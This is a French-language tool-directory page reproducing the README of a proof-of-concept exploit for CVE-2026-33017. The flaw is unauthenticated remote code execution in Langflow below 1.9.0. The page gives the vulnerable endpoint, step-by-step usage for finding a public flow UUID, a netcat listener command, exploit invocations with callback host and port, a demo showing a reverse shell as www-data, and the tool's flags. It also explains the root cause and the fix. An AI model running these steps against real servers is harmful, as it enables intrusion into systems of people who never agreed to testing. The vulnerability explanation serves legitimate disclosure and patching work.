Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-33017 — Exploit PoC pour CVE-2026-33017 : exécution de code à distance non authentifiée dans Langflow via l'injection d'un composant personnalisé Python malveillant, avec un écouteur de shell inversé intégré. | Kitploit
Outils/GitHubGitHub/dynamo2k1/cve-2026-33017
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionCommandement et ContrôleOutil d'Accès à Distance
GitHubdynamo2k1/cve-2026-33017

CVE-2026-33017

Exploit PoC pour CVE-2026-33017 : exécution de code à distance non authentifiée dans Langflow via l'injection d'un composant personnalisé Python malveillant, avec un écouteur de shell inversé intégré.

Voir le dépôt
il y a 28 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-33017 — Exécution de code à distance non authentifiée dans Langflow

Auteur : dynamo2k1
Sévérité : Critique
CVSSv3 : 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)


Vue d'ensemble

CVE-2026-33017 est une vulnérabilité critique d'exécution de code à distance non authentifiée dans Langflow, une plateforme open-source permettant de créer visuellement des applications LLM et des flux de travail IA.

Le point de terminaison vulnérable build_public_tmp accepte un champ data fourni par l'attaquant dans le corps de la requête, sans authentification. Cela permet à un attaquant d'injecter une définition de flux entièrement personnalisée contenant un composant personnalisé Python malveillant, dont le code est exécuté sur le serveur pendant le processus de construction.

Aucun identifiant requis. Seul un UUID de flux public valide est nécessaire.


Versions affectées

StatutVersion
VulnérableLangflow < 1.9.0
CorrigéLangflow 1.9.0+

Point de terminaison vulnérable

root@kitploit:~
POST /api/v1/build_public_tmp/{flow_id}/flow

Ce point de terminaison est conçu pour construire les flux publics (partagés) sans authentification. Dans les versions vulnérables, il accepte également un champ data contrôlé par l'attaquant dans le corps de la requête, qui est transmis directement à la logique de construction côté serveur — y compris tout code Python intégré dans les composants personnalisés.


Utilisation

Prérequis

root@kitploit:~
pip install requests urllib3

Étape 1 — Trouver un UUID de flux public

Parcourez l'instance Langflow cible et recherchez un flux partagé/public. L'UUID apparaît dans l'URL :

root@kitploit:~
https://target.com/playground/7d84d636-af65-42e4-ac38-26e867052c25
                                ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
                                        this is the flow-id

Étape 2 — Configurer un écouteur

root@kitploit:~
nc -lvnp 9001

Étape 3 — Lancer l'exploit

root@kitploit:~
python exploit.py \
  --url https://target.com \
  --flow-id 7d84d636-af65-42e4-ac38-26e867052c25 \
  --lhost <YOUR_IP> \
  --lport 9001

Ou utilisez l'écouteur interactif intégré (aucun nc séparé n'est nécessaire) :

root@kitploit:~
python exploit.py \
  --url https://target.com \
  --flow-id 7d84d636-af65-42e4-ac38-26e867052c25 \
  --lhost <YOUR_IP> \
  --lport 9001 \
  --listen

Options


Démo

root@kitploit:~
[*] Target: https://target.com/api/v1/build_public_tmp/<flow-id>/flow
[*] Callback: 10.10.15.28:9001
[*] HTTP 200
[!] SHELL ESTABLISHED FROM 10.x.x.x:36522

www-data@target:/var/lib/langflow$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Fonctionnement

  1. L'attaquant identifie un UUID de flux Langflow public (visible dans l'URL du playground).
  2. Une requête POST spécialement conçue injecte un composant personnalisé malveillant contenant du code Python au niveau du module.
  3. Pendant la phase de construction, Langflow compile le code du composant — exécutant la charge utile de l'attaquant avant qu'aucune méthode ne soit appelée.
  4. Le code ouvre un shell inverse vers l'écouteur de l'attaquant.

Cause racine : build_public_tmp faisait confiance au champ data du corps de la requête au lieu d'utiliser uniquement la définition de flux stockée sur le serveur.

Correctif : Dans Langflow 1.9.0, le paramètre data a été supprimé de build_public_tmp. Les définitions de flux externes ne peuvent plus être injectées via ce point de terminaison.

Commit du correctif : 73b6612


Références

  • Avis de sécurité GitHub — GHSA-vwmf-pq79-vjvx
  • NVD — CVE-2026-33017
  • Commit du correctif

Avertissement

Ce PoC est fourni uniquement à des fins éducatives et de recherche en sécurité autorisée. Ne l'utilisez que contre des systèmes que vous possédez ou pour lesquels vous avez une autorisation écrite explicite de tester.

Télécharger l’outil
FlagDescription
--urlURL de base de Langflow cible
--flow-idUUID du flux public
--lhostVotre IP pour le rappel du shell inverse
--lportVotre port d'écoute
--listenUtiliser le gestionnaire de shell intégré au lieu du nc externe
--timeoutDélai d'expiration de la requête HTTP en secondes (défaut : 30)